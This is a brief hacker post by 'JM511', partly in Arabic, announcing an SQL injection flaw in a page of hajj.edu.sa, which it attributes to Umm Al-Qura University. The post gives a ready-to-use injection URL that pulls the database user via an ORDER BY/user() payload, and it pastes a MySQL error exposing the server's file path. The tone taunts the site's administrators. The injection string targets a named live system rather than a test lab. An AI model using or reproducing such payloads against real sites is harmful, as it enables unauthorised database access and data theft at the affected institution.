hajj.edu.sa by JM511 SQL Injection

Follow me @JM511
جني محجوز
====================
ثغرة بجامعة ام القرى
===================
http://www.hajj.edu.sa/new/web/page.php?id=JM511>OrdEr+By+1,2,3,4,5,6,user(),8--
===================
GoodBye ;) Admin Stupid Support
    Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/hajjedu/public_html/new/web/lib.php on line